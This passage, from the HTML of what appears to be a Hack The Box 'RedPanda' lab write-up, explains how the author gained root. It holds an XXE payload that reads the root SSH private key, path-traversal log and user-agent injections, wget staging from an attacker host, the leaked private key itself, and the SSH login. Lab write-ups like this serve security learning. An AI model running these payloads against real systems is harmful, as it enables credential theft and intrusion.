rootElement<span class="token punctuation">.</span><span class="token function">getChild</span><span class="token punctuation">(</span><span class="token string">"totalviews"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">setText</span><span class="token punctuation">(</span><span class="token class-name">Integer</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span>totalviews<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token class-name">Integer</span> views <span class="token operator">=</span> <span class="token class-name">Integer</span><span class="token punctuation">.</span><span class="token function">parseInt</span><span class="token punctuation">(</span>el<span class="token punctuation">.</span><span class="token function">getChild</span><span class="token punctuation">(</span><span class="token string">"views"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getText</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
el<span class="token punctuation">.</span><span class="token function">getChild</span><span class="token punctuation">(</span><span class="token string">"views"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">setText</span><span class="token punctuation">(</span><span class="token class-name">Integer</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span>views <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token class-name">BufferedWriter</span> writer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BufferedWriter</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">FileWriter</span><span class="token punctuation">(</span>fd<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
xmlOutput<span class="token punctuation">.</span><span class="token function">output</span><span class="token punctuation">(</span>doc<span class="token punctuation">,</span> writer<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></span></span></span></code></pre><div id="https://www.notion.so/f0fe7914290f4dfbba203312faf6982c" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">This is interesting, because if we are able to somehow manipulate the XML file, we will be able to gain arbitrary file read using XML external entity (XXE) injection. The </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">SAXBuilder</code></span><span class="SemanticString"> and </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">XMLOutputter</code></span><span class="SemanticString"> will parse the existing XML file, resolve the external entity (i.e. including whatever file we specify), then overwrite the file.</span></span></p></div><div id="https://www.notion.so/689b38143b934963b470146553804acc" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">To exploit this, the following conditions must all be true:</span></span></p></div><ol class="NumberedListWrapper"><li id="https://www.notion.so/df877504d05c4df881129778606585ca" class="NumberedList" value="1"><span class="SemanticStringArray"><span class="SemanticString">We have a malicious XML file in a directory that we can write to (e.g. </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/dev/shm</code></span><span class="SemanticString">), with an external entity referencing a local file. This can be the root user’s SSH private key, since we know SSH login as root is allowed.</span></span></li><li id="https://www.notion.so/3df602f11a0b437289fa858d9470d44a" class="NumberedList" value="2"><span class="SemanticStringArray"><span class="SemanticString">We can manipulate the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">redpanda.log</code></span><span class="SemanticString"> file such that </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">credit-score</code></span><span class="SemanticString"> will read and parse our malicious XML, then write the result to the file.</span></span></li><li id="https://www.notion.so/fdd2a91916964fb085f9d2a31b815cc9" class="NumberedList" value="3"><span class="SemanticStringArray"><span class="SemanticString">We have a JPG image in a directory that we can write to, with its “Artist” metadata tag crafted such that when concatenated, it will point to where we’ve stored the XML file.</span></span></li></ol><div id="https://www.notion.so/a7b6dd22dc5749b1b5f1086b8bce584a" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><strong class="SemanticString__Fragment SemanticString__Fragment--Bold">Creating the XML file</strong></span></span></p></div><div id="https://www.notion.so/68cc26a8a0694d5190dab4117eeb0314" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Let’s move step by step. To perform the XXE injection, we create the following XML file with the entity which will include the root’s private SSH key. We will call this file </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">greg_creds.xml</code></span><span class="SemanticString">, and we will match this name in the URI:</span></span></p></div><pre id="https://www.notion.so/04503ef37063427cbcf6306fd9560653" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token prolog"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">foo</span> <span class="token punctuation">[</span><span class="token internal-subset"> <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> </span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>credits</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>author</span><span class="token punctuation">></span></span>greg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>author</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>uri</span><span class="token punctuation">></span></span>/../../../../../../../../../../dev/shm/greg.jpg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>uri</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>inj</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&xxe;">&xxe;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>inj</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>views</span><span class="token punctuation">></span></span>1<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>views</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>totalviews</span><span class="token punctuation">></span></span>1<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>totalviews</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>credits</span><span class="token punctuation">></span></span></span></span></span></code></pre><div id="https://www.notion.so/ed1e29e206114acd9ce4ea3838b4d7e5" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">The forward slash in front of the URI is </span><span class="SemanticString"><strong class="SemanticString__Fragment SemanticString__Fragment--Bold">SUPER important</strong></span><span class="SemanticString">! It took me hours to realise that the image path does not end with a slash, so when provided with something that starts with </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">../</code></span><span class="SemanticString">, it would end up returning an invalid path:</span></span></p></div><pre id="https://www.notion.so/04cd3460734e47989619b1383a9e1f73" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token class-name">String</span> fullpath <span class="token operator">=</span> <span class="token string">"/opt/panda_search/src/main/resources/static"</span> <span class="token operator">+</span> uri<span class="token punctuation">;</span></span></span></span></code></pre><div id="https://www.notion.so/dc7d8f74653a4f0f9508bc2928ab92da" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><strong class="SemanticString__Fragment SemanticString__Fragment--Bold">Manipulating the access log</strong></span></span></p></div><div id="https://www.notion.so/b8190ac1415648ec8bf43104592bca05" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Next, we need a way to manipulate </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">redpanda.log</code></span><span class="SemanticString"> so that it will read our XML file. We have two method to do this:</span></span></p></div><ol class="NumberedListWrapper"><li id="https://www.notion.so/f75caa2b7d1d4ca08241f4641ad1aea1" class="NumberedList" value="1"><span class="SemanticStringArray"><span class="SemanticString">Send a crafted HTTP request using </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">curl</code></span><span class="SemanticString">, with the user-agent being the path to our image.</span></span></li><li id="https://www.notion.so/edb391851c0d40e1aee7595484daa6ae" class="NumberedList" value="2"><span class="SemanticStringArray"><span class="SemanticString">Just write directly to </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">redpanda.log</code></span><span class="SemanticString">. We can do this because the file is owned by the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">logs</code></span><span class="SemanticString"> group and the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">woodenk</code></span><span class="SemanticString"> user is granted this group permission under the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">panda_search</code></span><span class="SemanticString"> application.</span></span></li></ol><div id="https://www.notion.so/7befa93abef7485582a31ee8ed226d7b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Using </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">curl</code></span><span class="SemanticString">, we will send the request with the following user-agent:</span></span></p></div><div id="https://www.notion.so/758cd5f04e9543cc9888cdb00c604f7a" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">||/../../../../../../../../../../dev/shm/greg.jpg</code></span></span></p></div><div id="https://www.notion.so/7ba51a263d824e7b8e933e6360be0d40" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Note the </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">||</code></span><span class="SemanticString"> at the start of the user-agent, this is because the path needs to fall under the forth delimited string (separated by </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">||</code></span><span class="SemanticString">):</span></span></p></div><pre id="https://www.notion.so/84fa98fb98ec48f381862f4c0550f942" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>map<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span><span class="token string">"status_code"</span><span class="token punctuation">,</span> <span class="token class-name">Integer</span><span class="token punctuation">.</span><span class="token function">parseInt</span><span class="token punctuation">(</span>strings<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
map<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span><span class="token string">"ip"</span><span class="token punctuation">,</span> strings<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
map<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span><span class="token string">"user_agent"</span><span class="token punctuation">,</span> strings<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
map<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span><span class="token string">"uri"</span><span class="token punctuation">,</span> strings<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span></span></code></pre><div id="https://www.notion.so/7a27b482ad044bd2868e8c809974dc0c" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">If we are directly modifying </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">redpanda.log</code></span><span class="SemanticString">, we also need to make sure the first field is an integer. An example line would be:</span></span></p></div><div id="https://www.notion.so/f279b1a9b3a7467aa86b7942f14465bd" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">200||aaa||aaa||/../../../../../../../../../../dev/shm/greg.jpg</code></span></span></p></div><div id="https://www.notion.so/ab63bc69fc194eca99090b8e06f99df0" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><strong class="SemanticString__Fragment SemanticString__Fragment--Bold">Crafting the JPG file</strong></span></span></p></div><div id="https://www.notion.so/a3359feb809646f5821156eef7e1d29b" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Lastly, we will need to craft a JPG file with the “Artist” metadata. To do this, we will take one of the existing images on the website: </span><span class="SemanticString"><a class="SemanticString__Fragment SemanticString__Fragment--Link" href="http://redpanda.htb:8080/img/greg.jpg">http://redpanda.htb:8080/img/greg.jpg</a></span></span></p></div><div id="https://www.notion.so/65235e18c8bb44b3bf9cbe633816ac54" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Then, we will change the “Artist” tag with </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">exiftool</code></span><span class="SemanticString">:</span></span></p></div><div id="https://www.notion.so/0f7c213481d24d1497ed63245a3766e7" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ exiftool -Artist="/../../../../../../../../../../dev/shm/greg" ./greg.jpg</code></span></span></p></div><div id="https://www.notion.so/7370368bf08e4fc69c65e5cb5a541c64" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><strong class="SemanticString__Fragment SemanticString__Fragment--Bold">Bringing everything together</strong></span></span></p></div><div id="https://www.notion.so/46b5aa7a44fa4cb3b6cce25cb362d4df" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We now have everything we need! To execute the attack, all we have to do now is upload the files to </span><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">/dev/shm</code></span><span class="SemanticString">, and send the request.</span></span></p></div><div id="https://www.notion.so/f87bd0996fe04e75b831801f25c706ea" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ wget http://10.10.14.38:8888/greg.jpg</code></span></span></p></div><div id="https://www.notion.so/e2e2147de4334a378d293912abd14aad" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ wget http://10.10.14.38:8888/greg_creds.xml</code></span></span></p></div><div id="https://www.notion.so/d0f16607e88240ccb16a7797441b784c" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ curl -A "||/../../../../../../../../../../dev/shm/greg.jpg" http://redpanda.htb:8080/</code></span></span></p></div><div id="https://www.notion.so/372a66321c74485c90bee07cce32f543" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">Wait around 2 minutes, and once successful, the credit score XML file we placed will look something like this:</span></span></p></div><pre id="https://www.notion.so/16842c7a3131465bb11b4b9b98a47fef" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span><span class="token prolog"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">foo</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>credits</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>author</span><span class="token punctuation">></span></span>greg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>author</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>uri</span><span class="token punctuation">></span></span>/../../../../../../../../../../dev/shm/greg.jpg<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>uri</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>inj</span><span class="token punctuation">></span></span>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>inj</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>views</span><span class="token punctuation">></span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>views</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>image</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>totalviews</span><span class="token punctuation">></span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>totalviews</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>credits</span><span class="token punctuation">></span></span></span></span></span></code></pre><div id="https://www.notion.so/74733ac614ec416db9432c742b8076a7" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">We have the root user’s SSH private key!</span></span></p></div><pre id="https://www.notion.so/437e90d56ce440fb9d19743a2f2cd743" class="Code Code--NoWrap"><code><span class="SemanticStringArray"><span class="SemanticString"><span>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</span></span></span></code></pre><div id="https://www.notion.so/304fd84c67b145279b6fc4d2c8003d82" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">With this, we can trivially log in as root. Let’s save it as a file, making sure to give it the appropriate permissions (SSH is very picky about protecting identity files):</span></span></p></div><div id="https://www.notion.so/381dcb05b4284bc1b6e5f79497dd146c" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ nano root_id_rsa && chmod 600 root_id_rsa</code></span></span></p></div><div id="https://www.notion.so/f865074984c346e59c53944d80350b37" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ ssh root@redpanda.htb -i ./root_id_rsa</code></span></span></p></div><div id="https://www.notion.so/a602deb4825f47649c1971a68dd4d0b6" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString">And we can get the root flag!</span></span></p></div><div id="https://www.notion.so/cf5fa75942d44e7d9bfb0c84048ba40c" class="ColorfulBlock ColorfulBlock--ColorDefault Text"><p class="Text__Content"><span class="SemanticStringArray"><span class="SemanticString"><code class="SemanticString__Fragment SemanticString__Fragment--Code">$ cat root.txt</code></span></span></p></div><h2 id="https://www.notion.so/e1f9eebfdd934d4284cafb83ba206eaf" class="ColorfulBlock ColorfulBlock--ColorDefault Heading Heading--2"><a class="Anchor" href="#https://www.notion.so/e1f9eebfdd934d4284cafb83ba206eaf"><svg width="16" height="16" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><span class="SemanticStringArray"><span class="SemanticString">Resources</span></span></h2><ol class="NumberedListWrapper"><li id="https://www.notion.so/bf2ffdedea3149e199152df71876d883" class="NumberedList" value="1"><span class="SemanticStringArray"><span class="SemanticString">Exploiting SSTI in Thymeleaf -</span><span class="SemanticString"><a class="SemanticString__Fragment SemanticString__Fragment--Link" href="https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/"> https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/</a></span></span><div id="https://www.notion.so/a8189ff10ddc499b8692e3c29169c700" class="Bookmark"><a href="https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/"><h5 class="Bookmark__Title">Exploiting SSTI in Thymeleaf | Acunetix</h5><p class="Bookmark__Desc">One of the most comfortable ways to build web pages is by using server-side templates. Such templates let you create HTML pages that include special elements that you can fill and modify dynamically. They are easy to understand for designers and easy to maintain for developers.</p><p class="Bookmark__Link">https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/</p></a></div></li><li id="https://www.notion.so/d73104c29aa54d55ba8c208184455f7b" class="NumberedList" value="2"><span class="SemanticStringArray"><span class="SemanticString">XML external entity (XXE) injection - </span><span class="SemanticString"><a class="SemanticString__Fragment SemanticString__Fragment--Link" href="https://portswigger.net/web-security/xxe">https://portswigger.net/web-security/xxe</a></span></span><div id="https://www.notion.so/d3fe0487fdad4c4fbfbd1a6434f0ab3d" class="Bookmark"><a href="https://portswigger.net/web-security/xxe"><h5 class="Bookmark__Title">What is XXE (XML external entity) injection? Tutorial & Examples | Web Security Academy</h5><p class="Bookmark__Desc">In this section, we'll explain what XML external entity injection is, describe some common examples, explain how to find and exploit various kinds of XXE injection, and summarize how to prevent XXE injection attacks. XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data.</p><p class="Bookmark__Link">https://portswigger.net/web-security/xxe</p></a></div></li></ol></article>
<footer class="Footer">
<div>samiko@127.0.0.1~$</div>
<div>·</div>
<div>Powered by <a href="https://github.com/dragonman225/notablog" target="_blank" rel="noopener noreferrer">Notablog</a>.</div>
</footer>
</body>
</html>